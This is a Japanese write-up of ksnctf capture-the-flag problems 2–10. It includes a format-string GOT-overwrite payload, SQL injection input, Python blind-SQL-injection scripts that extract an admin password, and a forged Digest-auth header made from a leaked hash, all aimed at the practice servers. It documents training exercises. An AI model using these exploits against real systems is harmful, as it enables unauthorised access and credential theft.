ksnctf writeup (problem 1 -- 10)
https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。
2. Easy Cipher
定番のcaesar暗号です。 python の codecs ライブラリを使うなどの方法でデコードします。
3. Crawling Chaos
問題概要
http://ksnctf.sweetduet.info/q/3/unya.html が与えられます。フォームが1つある単純なwebページに見えます。フォームに何を入れてSubmitボタンを押しても "No" というアラートが出るばかりです。
ポイント
- javascriptの文法
解法
unya.html のソースを見ると、 head タグの中に長ーい script タグがあり、何やら(文字通り)うにゃうにゃと書いてあります。
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー, (後略)
js の変数名や関数名には実は日本語を用いることができるので、これは文法的に正しい js となっています。 ちなみに、このような js は http://sanya.sweetduet.info/unyaencode/ で生成できるようです。
最初の部分を読み解いてみます。日本語の変数名と関数名をアルファベットに置き換えると、
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー
は
(a)=(/ᆞωᆞ/),(a).b=-!!(/ᆞωᆞ/).c
と同じとみなせます。さらに読み解くと、以下のようになことがわかります。
/
〜/
で囲まれた部分は正規表現a
は正規表現を表す変数で、RegExp
クラスのインスタンスa
にb
というプロパティを追加して値を代入(/ᆞωᆞ/).c
は変数/ᆞωᆞ/
の存在しないプロパティを参照しているので、undefined
となる!
をつけると bool に変換、-
をつけると数値に変換、と考えることができるので-!!undefined
は-0
となる- よって
a.b
には-0
が代入される
このような感じで、うにゃうにゃ言っているだけに見えるコードでも意味の有りそうな動作をしています。
この調子で読んでいくのは大変なので、script タグの中身を unya.js
として保存し node unya.js
で実行します。すると、以下のようなエラーになります。 jQuery を import していないので $
が定義されていないと怒られていますが、注目すべきはエラーとなった部分のコードが吐かれている点です。
undefined:2 $(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});}); ^ ReferenceError: $ is not defined
吐かれたコードを読み解いてみます。
$(function(){ $('form').submit(function(){ var t=$('input[type="text"]').val(); var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449); var f=false; if(p.length==t.length){ f=true; for(var i=0; i<p.length; i++) if(t.charCodeAt(i)*(i+1)!=p[i]) f=false; if(f) alert('(」・ω・)」うー!(/・ω・)/にゃー!'); } if(!f) alert('No'); return false; }); });
これは、フォームに与えられた文字列 t
を1文字ずつ数値に変換したものが、 p
の各要素と等しくなっているかどうかを調べる、というようなことをしています。以下のスクリプトで、このような t
を p
から逆に求めることができます。
var p = Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449); var t_nums = p.map((n, i) => { return n / (i + 1); }); var t = String.fromCharCode(...t_nums); console.log(t);
4. Villager A
問題概要
ssh の user と pass が与えられる。sshしてみると、 ~/
に以下のようなファイルが置いてある。
-r--------. 1 q4a q4a 22 May 22 2012 flag.txt -rwsr-xr-x. 1 q4a q4a 5857 May 22 2012 q4 -rw-r--r--. 1 root root 151 Jun 1 2012 readme.txt
ポイント
- print format attack(セキュリティコンテストチャレンジブック 2.4.2)
- GOT overwrite(セキュリティコンテストチャレンジブック 2.4.2)
解法
結論から言うと、以下のように実行するとflagを得られます。
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
printfの書式設定の脆弱性を利用すると、メモリの中の値を出力したり、メモリの値を書き換えたりできます。この脆弱性を利用して、 eip を奪い好きな関数を実行させることができます。詳しくは GOT overwrite ~ ksnctf #4 Villager A ~ に分かりやすい説明があるのでそちらを参照してください。
5. Onion
問題内容
すごく長い文字列が与えられます。
ポイント
解法
与えられた文字列は base64 っぽさが漂っています。そこでとりあえず base64 decode してみます。
echo [問題文] | base64 -D
すると少し短い文字列が出てきます。
この文字列は実は、ある文字列を繰り返し base64 encode したものになっています。このことは問題名の「Onion」にもあらわれています。従って、 base64 decode を繰り返していくと、だんだん文字列が短くなり、ほしい文字列が得られます。 例えば以下のようなスクリプトで繰り返しができます。もしくは、 echo "<問題文>" | base64 -D | base64 -D | ...
のようにpipeをつないでいっても良いです。
s="<問題文>" i=0 while [ ! -z $s ]; do echo "=====" echo $i echo $s i=$(($i+1)) s=$(echo $s | base64 -D) done
16回目で以下の文字列が得られます。
begin 666 <data> 51DQ!1U]&94QG4#-3:4%797I74$AU end
これは何でしょう。 begin 666 <data>
でクグります。すると、これはどうやら uuencode されたデータだとわかります。
得られたデータをデコードするためには、ファイル名と最後から2行目を少しだけ修正して onion.txt
として保存します。
begin 666 flag.txt 51DQ!1U]&94QG4#-3:4%797I74$AU ` end
以下を shell で実行すると flag.txt にフラグが出力されます。
uudecode -i onion.txt
6. Login
問題概要
login フォームが与えられます。
ポイント
- SQLインジェクション
- ブラインドSQLインジェクション
解法
まず、SQLインジェクションしてみます。 ' or 1=1 --
を入力すると、以下のようなHintが吐かれます。
Congratulations! It's too easy? Don't worry. The flag is admin's password. Hint: <?php function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');} $id = isset($_POST['id']) ? $_POST['id'] : ''; $pass = isset($_POST['pass']) ? $_POST['pass'] : ''; $login = false; $err = ''; if ($id!=='') { $db = new PDO('sqlite:database.db'); $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'"); $login = $r && $r->fetch(); if (!$login) $err = 'Login Failed'; } ?><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title> </head> <body> <?php if (!$login) { ?> <p> First, login as "admin". </p> <div style="font-weight:bold; color:red"> <?php echo h($err); ?> </div> <form method="POST"> <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div> <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div> <div><input type="submit"></div> </form> <?php } else { ?> <p> Congratulations!<br> It's too easy?<br> Don't worry.<br> The flag is admin's password.<br> <br> Hint:<br> </p> <pre><?php echo h(file_get_contents('index.php')); ?></pre> <?php } ?> </body> </html>
最初の数行にある通り、admin のパスワードを見つければいいようです。
どのようにすればadminのパスワードを見つけられるでしょうか? 先程やったように、SQLインジェクションを行えばある程度自由にSQLクエリを実行できます。 しかしながら、その実行結果を観測する方法は限られています。 SQLの実行結果をまるごとtable状にページに表示できれば楽ですが、そこまで甘くありません。 今回の場合、観測できるのは、実行したSQLに該当するレコードがあるかないか、です。 該当するレコードが存在しない場合、 "Login Failed" と表示されます。 該当するレコードが存在する場合、上記のHintが表示されます。 このどちらが表示されるかによって、実行したSQLに該当するレコードがあるかないかを知ることができます。
つまり、
- SQLインジェクションによって適当なクエリを実行させて
- 該当するレコードがあるかないかをレスポンスから判定する
ことを繰り返しながら、adminのパスワードを調べていきます。 このような手法は、ブラインドSQLインジェクションと呼ばれています。
まず、パスワードの長さを見つけます。
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' for i in range(1, 100): sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format( counter=i) payload = { 'id': sql, } response = requests.post(url, data=payload) if len(response.text) >= 2000: # responseが2000文字以上ならHintが表示されている、つまり該当するレコードあり print('length of the password is {counter}'.format(counter=i)) break
これで、パスワードの長さは21とわかります。
次に21文字のパスワードを1文字ずつ見つけていきます。SQL の SUBSTR
句を使います。
import requests url = 'http://ctfq.sweetduet.info:10080/~q6/' password = '' for index in range(1, pass_len + 1): for char_number in range(48, 123): char = chr(char_number) sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format( index=index, char=char) payload = { 'id': sql, 'pass': '' } response = requests.post(url, data=payload) if len(response.text) > 2000: print(char, end="") password += char break print() print(password)
得られたパスワードがフラグです。
7. Programming
問題概要
謎のcppファイルが与えられる。
ポイント
- Whitespace
- アセンブリ(?)
解法
c++と見せかけて、実はWhitespaceという難解プログラミング言語のソースコードです。 Whitelips という、web上で実行できるWhitespaceのIDEがあるので、今回はこれを使います。 与えられたプログラムをコピペして実行してみます。 すると、画像のようになります。
PIN:
と表示され、ユーザの入力待ちになります。
ここで、右側のアセンブリっぽいものに注目します。
readi
で入力されたPINと 33355524
という謎の数値を sub
で引き算して、その後の jz
(= jump if zero) で label_0
に飛ぶかどうかを分岐しているような雰囲気があります。
つまり、 33355524
という数値を入力したときになにか特殊な処理が行われそうです。
実際に 33355524
を入力すると、 OK
の表示の後にフラグが出力されます。
8. Basic is secure?
問題概要
pcapファイルが与えられます。
ポイント
解法
Basic 認証を知っていれば、タイトルとpcapファイルでピンとくるかもしれません。
もしくは、 HTTP/1.1 401 Authorization Required
のレスポンスも、Basic 認証に関する通信を行っていると気づくポイントです。
Basic 認証だと気づいた後は、user:pass を送信しているリクエストを見つけます。今回は、 HTTP/1.1 401 Authorization Required
の次のリクエストが該当するリクエストです。このリクエストのAuthorizationヘッダ部分のパスワードがフラグです。
ちなみに、Authorizationヘッダの文字列をbase64デコードすると <user>:<pass>
という形式でユーザ名とパスワードが得られますが、wiresharkでpcapファイルを見ている場合は、wiresharkがデコード後の文字列も表示してくれるので楽です。
9. Digest is secure!
概要
pcapファイルが与えられる。
ポイント
- Digest認証
解法
大きく分けて3ステップです。
- Digest認証に関する問題だと気付く
- httpでやり取りしたファイルを復元する
- なりすましで認証を突破する
Digest認証に関する問題だと気付く
Digest認証を知っていれば、pcapファイルが与えられているという点と問題タイトルだけでピンとくるかもしれません。
そうでなくても、HTTP/1.1 401 Authorization Required のレスポンスの WWW-Authenticate
ヘッダで気付くことができます。
Digest認証は replay attack が効かないので、pcapファイルのリクエストをそのまま再送するだけではだめです。 正規ユーザになりすまして、適切なリクエストを生成して送信する必要があります。
この問題はDigest認証のプロトコルを理解していることが求められるので、ここで少し補足します。
Digest認証の仕様は RFC2617 - HTTP Authentication: Basic and Digest Access Authentication で定義されています。 大まかな流れは以下の通りです。
- クライアントは認証が必要なページをリクエストする。
- サーバが
401 Authorization Required
のレスポンスを返す。このとき、realm
nonce
qop
などといった値をWWW-Authenticate
ヘッダに含めて返す。 - クライアントはユーザにユーザ名とパスワードの入力を求める。
- クライアントは
cnonce
と呼ばれるランダム文字列を生成し、後述の方法でresponse
のハッシュ値を計算する。 - クライアントはサーバから送られた認証に関する情報とともに、ユーザ名とresponseをサーバに送信する。
- サーバがクライアントから受け取った値とサーバに格納されているハッシュ化されたパスワードから、正解の
response
を計算する。 - クライアントが送信した
response
とサーバが計算した正解値が一致すれば認証成功。一致しなければ 2. にもどる。
response
は以下のように計算されます。
A1 = username ":" realm ":" passwd A2 = Method ":" digest-uri response = H( H(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" H(A2) )
ここで H
はハッシュ関数です。それぞれの値の意味は以下の通りです。
username
... ユーザ名realm
... 認証領域passwd
... パスワードMethod
... HTTPのメソッドdigest-uri
... アクセスしたいページのURInonce
... サーバがランダムに設定する文字列nc
... nonce-count。あるnonce
値に対して何回目のリクエストかを表す16進数。cnonce
... クライアントがランダムに設定する文字列qop
... quality of protection。サーバがauth
かauth-init
を指定する。
httpでやり取りしたファイルを復元する
wiresharkを使って、httpでやり取りされたファイルを復元します。 File > Export objects > HTTP で復元できます。 wiresharkすごいです。
以下の5つのファイルが復元されます。
ここで注目すべきは、 ~q9 (2回目) と htdigest です。
~q9 (2回目) の中身を読むと、 /~q9/flag.html
にフラグがあるということが分かります。
<!DOCTYPE html> <head> <meta charset="utf-8"> <title>Q9</title> </head> <body> <p>Congratulations!</p> <p>The flag is <a href="flag.html">here</a>.</p> </body> </html>
htdigest ファイルには、謎のハッシュ値が記録されています。
q9:secret:c627e19450db746b739f41b64097d449
これは何でしょう?
htdigest ファイルには、 <ユーザ名>:<realm>:H(<ユーザ名>:<realm>:<パスワード>)
という形式でユーザ名と暗号化されたパスワードが保存されています。
したがって今回の場合、 c627e19450db746b739f41b64097d449
= H(A1)
ということになります。
なりすましで認証を突破する
さて、pcapファイルのhttpリクエスト/レスポンスや htdigest ファイルの内容から、Digest認証に関連する変数の値が以下の通りだと分かります。
ただし、 cnonce
は自分で適当にランダム値を設定しました。
algorithm
がMD5なので、 echo -n GET:/~q9/flag.html | md5
などとすれば H(A2)
を計算できます。
nonce
はリクエストのたびに変わるので、以降の値はあくまで一例です。
algorithm = MD5 H(A1) = c627e19450db746b739f41b64097d449 nonce = hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0 nc = 00000001 cnonce = 0a4f113b qop = auth A2 = GET:/~q9/flag.html H(A2) = ffffdd8b8029499600f95a69beb239c2
この場合の response
は以下のコマンドで計算できます。
echo
に -n
オプションをつけないと最後の改行も含めてハッシュ値が計算されてしまうので注意です。
echo -n c627e19450db746b739f41b64097d449:hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0:00000001:0a4f113b:auth:ffffdd8b8029499600f95a69beb239c2 | md5
ということで、今回設定すべき response
は 78f9ce00939ab5d93d65b458bf34c381
となります。
GET http://ctfq.sweetduet.info:10080/~q9/flag.html
リクエストの Authorization
ヘッダに下記の文字列を設定して送信すると、フラグを含んだhtmlファイルをゲットできます。
Digest username="q9", realm="secret", nonce="hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0", uri="/~q9/flag.html", algorithm=MD5, response="78f9ce00939ab5d93d65b458bf34c381", qop=auth, nc=00000001, cnonce="0a4f113b"
10. #!
問題概要
そのまま引用
What's this? ↓
#!/usr/bin/python
print "Hello world"The flag is FLAG_S?????? (in capital letters).
ポイント
- シェバン
解法
#!
の名称を答えればいいだけ。